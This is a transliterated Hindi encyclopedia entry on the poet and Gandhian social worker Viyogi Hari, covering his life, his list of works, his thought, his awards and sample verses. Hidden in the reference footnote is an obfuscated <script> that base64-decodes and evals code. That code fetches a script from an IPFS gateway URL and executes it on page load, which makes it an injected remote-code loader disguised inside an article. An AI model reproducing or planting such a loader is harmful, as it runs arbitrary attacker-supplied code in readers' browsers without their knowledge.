वियोगी हरि
viyogi hari
| |
| poora nam | viyogi hari |
| janm | 1896 |
| janm bhoomi | chhatarapur |
| mrityu | 1988 |
| karm bhoomi | bharat |
| mukhy rachanaean | 'sahity vihar', 'vir satasee', 'vishvadharm', 'chhatrasal granthavali', 'anuragavatika', 'meva d kesari', 'santavani', 'premaparishad' adi. |
| bhasha | hindi |
| puraskar-upadhi | 'mangalaprasad paritoshik' |
| prasiddhi | sahityakar, kavi, gaandhivadi samajasevi |
| nagarikata | bharatiy |
| any janakari | viyogi hari 1932 se sahity sadhana se virat hokar 'harijan sevak sangh', 'dilli gaandhi smarak nidhi' evan 'bhoodan andolan' ka kary karate rahe. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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viyogi hari (aangrezi: Viyogi Hari , janm- 1896, chhatarapur; mrityu- 1988) hindi sahity ke prasiddh sahityakar the. ve adhunik brajabhasha ke pramukh kavi, hindi ke saphal gadyakar, gaandhivadi aur ek samaj sevi sant the. unaki sabase mahattvapoorn kriti 'vir-satasee' thi, jisake lie inhean 'mangalaprasad paritoshik' pradan kiya gaya tha. viyogi hari ne anek granthoan ka sanpadan, prachin kavitaoan ka sangrah tatha santoan ki vaniyoan ko sankalit kiya tha. nibandh, natak, kavita, gadyagit tatha balopayogi pustakean bhi unhoanne likhi thian.
janm tatha shiksha
viyogi hari ka janm varsh 1896 ee. mean chhatarapur rajy ke ek kanyakubj brahman parivar mean hua tha. bachapan mean hi pita ki mrityu ho jane ke karan inaka palan-poshan evan shiksha nanihal mean ghar par hi huee. shiksha adi ke kary mean viyogi hari prarambh se hi medhavi rahe the. inaki hindi aur sanskrit ki prarambhik shiksha ghar par hi huee. maitrikuleshan ki pariksha inhoanne 1915 mean chhatarapur ke haeeskool se uttirn ki. viyogi hari ki kishoravastha se hi darshanashastr mean vishesh abhiruchi thi. chhatarapur ki maharani kamalakumari 'yugalapriya' ke sneh-sikt sampark se unake sath bharat ke prasiddh tirthoan ka inhoanne bhraman kiya.[1]
gadyakar v samajasevi
viyogi hari adhunik brajabhasha ke pramukh kavi, hindi ke saphal gadyakar aur desh ke samajasevi sant the. ve lagabhag 40 varshoan tak hindi sahity ki sakriy seva karate rahe. san 1917 mean purushottamadas tandan se inaka parichay hua aur unhian se inhean lekhan aur sahity-seva ki sabase pahale prerana mili. inaki pravritti asprishyatanivaran ki disha mean unhoanne 1920 mean kanapur ke 'pratap' mean ek lekhamala likhi thi. mahatma gaandhi ke sampark ne inhean is kary se aur adhik baandh diya tha. yah kary hi unake jivan ka ek uddeshy ban gaya. gaandhiji dvara pravartit 'harijan-sevak' (hindi sanskaran) ke sampadan ka kary bhi inhoanne sanbhal liya tha. tabhi se 'harijan sevak sangh' se inaka ghanishth sambandh ho gaya tha. bad mean viyogi hari isake adhyaksh bhi rahe.
lekhan kary
viyogi hari ne anek granthoan ka sampadan, prachin kavitaoan ka sangrah tatha santoan ki vaniyoan ka sankalan kiya. kavita, natak, gadyagit, nibandh adi ke atirikt balopayogi pustakean aur mahapurushoan ki jivaniyaan likhian. 1932 se sahity sadhana se virat hokar 'harijan sevak sangh', 'dilli gaandhi smarak nidhi' evan 'bhoodan andolan' ka kary viyogi hari karate rahe.[1]
kritiyaan
dharm, darshan, bhakti, harijan kary, samajik sudhar tatha anek sahityik vishayoan ko lekar viyogi hari ne lagabhag 40-45 pustakean likhi haian, jo is prakar haian-
| kram sankhya | kriti | kram sankhya | kriti |
|---|---|---|---|
| 1. | 'sahity vihar' (1922 ee.) | 2. | 'chhadmayogini natika' (1922 ee.) |
| 3. | 'braj madhuri sar' (1923 ee.) | 4. | 'kavi kirtan' (1923 ee.) |
| 5. | 'sooradas ki vinayapatrika' (1924 ee.) | 6. | 'aantarnad' (1926 ee.) |
| 7. | 'bhavana' (1928 ee.) | 8. | 'prarthana' (1929 ee.) |
| 9. | 'tulasidasakrit vinay-patrika harijoni tika' (1923 ee.) | 10. | 'vir-satasee' (1927 ee.) |
| 11. | 'vishvadharm' (1930 ee.) | 12. | 'yogi aravind ki divyavani' |
| 13. | 'chhatrasal granthavali' | 14. | 'mandir pravesh' |
| 15. | 'prabuddh yamun' athava 'yamunachary-charit' (1929 ee.) | 16. | 'anuragavatika' |
| 17. | 'meva d keshari' | 18. | 'charakha stotr' |
| 19. | 'mera jivan pravah' | 20. | 'tarangini' |
| 21. | 'charakhe ki gooanj' | 22. | 'gaandhi ji ka adarsh' |
| 23. | 'premashatak' | 24. | 'premapathik' |
| 25. | 'premaanjali' | 26. | 'premaparishadh' |
| 27. | 'vir birudavali' | 28. | 'guru pushpaanjali' |
| 29. | 'santavani' | 30. | 'sant-sudhasar' |
| 31. | 'yuddh vani' | 32. | 'yoan bhi to dekhiye' |
| 33. | 'shraddhakan' | 34. | 'pavabhar ata' |
| 35. | 'japuji' | 36. | 'sankshipt soorasagar' |
| 37. | 'sant sudhasar' | 38. | 'dadoo' |
| 39. | 'shukadev khandakavy' | 40. | - |
adhyatm-chiantan
viyogi hari ka adhyatm-chiantan sarveshvaravadi hai. unaki premalakshanabhakti, jnan evan karm ki avirodhini hai. us par sooradas, tulasidas, kabir tatha soofi kaviyoan ki vicharadhara ka prabhav p da hai. unaka dharm samanvayavadi vishvadharm hai, jisaka adarsh bahut kuchh gaandhivad aur adhar eeshvaravad hai. samajik vichar sudharavadi aur kabir adi santoan ki bhaanti khandanatmak hai. unaki rachanaoan mean mukhyat: vir aur shaant bhavana ki vyanjana huee hai. unake gady git chiantan pradhan evan vyangyatmak haian. gady bhasha alankrit, kavyatmak, lakshanik tatha kavy-bhasha saral aur mishrit hai.
samman
viyogi hari ne 1925 mean purushottamadas tandan ke sath milakar prayag (vartaman ilahabad) mean 'hindi vidyapith' ki sthapana ki thi. san 1928 mean unaki prasiddh kriti 'vir-satasee' par unhean 'mangalaprasad paritoshak' pradan kiya gaya tha.
kuchh panktiyaan
viyogi hari ki likhi kuchh panktiyaan is prakar haian-
- maharana pratap
anu-anu pai meva d ke, chhapi tihari chhap.
tere prakhar pratap tean, rana prabal pratap॥
jagat jahian khojat phirai, so svatantrata ap.
bikal tohian herat ajauan, rana nithur pratap॥
he pratap! mevad me, tuhian samarth sanath.
dhani-dhani tere hath ye, dhani-dhani tero math॥
rajapootan ki nak tooan, rana prabal pratap.
hai teri hi mooanchh ki rajasthan mean chhap॥
kaante-lauan kasakyau sada, ko akabar-ur mahian.
chhaandi pratap-pratap jag, doojo lakhiyatu nahian॥
o pratap meva d ke! yah kaiso tuv kam?
khat lakhanu tuv khadag pai, hot kal kau nam॥
uanmadi samudr lauan, thilean ap tean ap.
karun-vir-ras lauan mile, sakta aur pratap॥
- deshadroh
bhoolehuan kabahuan n jaie, des-bimukhajan pas.
desh-virodhi-sang tean, bhalo narak kau bas॥
sukh soan kari lijai sahan, kotin kathin kales.
vidhana, vai n milaiyo, je nasat nij des॥
siv-biranchi-harilokan, bipat sunavai roy.
pai svades-bidrohi koan, saran n daihai koy॥
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 570 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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